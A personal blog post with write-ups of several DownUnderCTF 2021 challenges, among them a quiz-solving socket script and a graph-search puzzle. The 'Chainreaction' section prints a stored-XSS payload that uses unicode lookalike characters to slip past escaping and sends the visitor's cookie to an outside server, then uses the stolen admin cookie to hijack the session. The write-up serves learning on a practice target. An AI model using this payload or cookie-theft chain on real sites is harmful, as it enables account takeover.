The Down Under CTF 2021

Yesterday, I played in my very first organized Capture-the-Flag game, the DownUnderCTF 2021. I was spontaneously invited on a team by ps1ttacus (btw, read his blog!).

The most important thing I learned: CTF's are fun! I'm glad I participated and want to say a big thank you to the organizers.

Below I'll share writeups of the challenges I solved:

Discord (100 points)

This one was simple, the flag was posted in the DownUnderCTF discord server in the #request-support channel.

General skills quiz (100 points)

The quiz was a network application that you could talk to via netcat:

> nc pwn-2021.duc.tf
Welcome to the DUCTF Classroom! Cyber School is now in session!
Press enter when you are ready to start your 30 seconds timer for the quiz...
>
Woops the time is always ticking...
Answer this maths question: 1+1=?
> 2

After that, the questions became slightly more difficult - things like converting from hex to decimal, encoding text, etc. Given the time limit, it became clear that I had to automate the process. I used a google colab workbook to write some python code that took the quiz over the network. Here's a snippet demonstrating how it worked:

def create_answer(q):
  q = q.strip('\n')
  if 'Press enter when you are ready to start your 30 seconds timer for the quiz...' in q:
    return '\n'
  if 'Answer this maths question: 1+1=?' in q:
    return '2\n'
  arg = q.split(' ')[-1]
  if 'Decode this hex string and provide me the original number (base 10):' in q:
    return str(int(arg, base=16)) + '\n'
  if 'Decode this hex string and provide me the original ASCII letter:' in q:
    return chr(int(arg, base=16)) + '\n'
  # more question formats omitted for brevity...

sock = socket.socket()
sock.connect(('pwn-2021.duc.tf', 31905))
while True:
  data = sock.recv(2048)
  if not data:
    break
  q = data.decode()
  print('>>> ' + q)
  a = create_answer(q)
  print('<<< ' + a)
  sock.sendall(a.encode())
Then I just had to sit back and watch my script take the quiz for me :)

You can view the full code in the notebook.

Chainreaction (100 points)

I liked this one in particular. The goal was to get into the protected admin page of a web forum.

First, I registered a normal account. I wasn't allowed to visit the admin page, but I could visit the developer chat page. On there, the devs were talking about bugs in the forum software. Someone mentioned that on the profile page, they were escaping HTML and then normalizing it. That was the deciding clue.

On the profile page, you could write some text in the "about me" section. That text was escaped to prevent XSS attacks - so if you entered, say "<script>alert('<3');</script>", it wouldn't run that code. But, like mentioned in the devchat, the escaping happened before the unicode normalization. That meant that I could enter a string like "﹤ˢcrⁱpt﹥fetch("https://jfhr.de/"+document.cookie)﹤/ˢcrⁱpt﹥", with the s and t replaced by a similar unicode character. The HTML escaping wouldn't recognize that as a script tag, so it wouldn't get escaped. But then the normalizer kicked in, and it replaced those special unicode characters with their normal ASCII equivalent. So in the end, the string "<script>fetch("https://jfhr.de/"+document.cookie)</script>" would get inserted into the page. Now, when loading the profile page, it would send a request to my server and I could see the cookies in my server logs.

The last step was to abuse the "Report error" button. That sent a link to my profile page to an admin, who then opened it. Now, the admin's cookies were in my server logs! All I had to do was set that cookie in my own browser, and I could visit the admin page. There I found the flag.

Who goes there (100 points)

Another simple one - here, you just had to look up the WHOIS information for a domain name and find the phone number of the registered owner.

Flying Spaghetti Monster (491 points)

This was by far the most challenging one I solved - but it was worth it! This was another network quiz app, like the general skills quiz, but with a specific type of question. As part of the challenge, you were given a text file describing a directed graph with 10000 edges. Each edge had two pieces of data associated with it: An ASCII character, and a polynomial of the form a*x+b. For each question, you were given the number of a vertex in the graph, and another polynomial. The goal was to find the unique path in the graph that

  1. ends at the given vertex and
  2. produces the given polynomial when you combine the polynomials of its edges in order.

By "combine polynomials" I mean simply using the result of the first polynomial as input for the second one. I.e. for two polynomials a1*x+b1 and a2*x+b2, their combination would be a1*(a2*x+b2)+b1.

The answer was the string formed by taking all the characters from the edges of that path in order.

Here's a simple example:

The first question was 1042029647*x + 41704533 -> 28. So we had to find a path that ends in 28 and has a combined polynomial of 1042029647*x + 41704533.

The correct path had only two edges:

First we go from vertex 25 to 25. Our starting polynomial is 21467*x + 859. Then we go to 28. The resulting polynomial is 48541*(21467*x + 859) + 7814 = 1042029647 * x + 41704533, exactly what the question asked for! To get the answer, we take the character for each edge, given as an ASCII number. Here: 52 and 50, which corresponds to "4" and "2", so the answer is "42".

This first question was rather straightforward, but the numbers quickly got much larger, and time limits were also introduced. Clearly, this process had to be automated. I decided to use C# in this case, since I'm more comfortable working with algorithms in it compared to python.

To find the solution, I did a depth-first search starting from the final edge (that was given in the question), until I found a solution that exactly matched the given polynomial. All the polynomial coefficients were integers, which meant that I could check for divisibility and immediately discard any potential edges where it wasn't given (otherwise, the code would have been far too slow). Because the numbers were so large, I used C#'s built-in BigInteger data type, which can store arbitrarily large numbers.

The full code can be found on GitHub.

And that's it! I tried a few more web challenges but didn't finish any in time. But that's okay, because I learned a lot within just a few hours by playing, and I definitely want to do more in the future. Btw, if you know any good CTFs, feel free to let me know!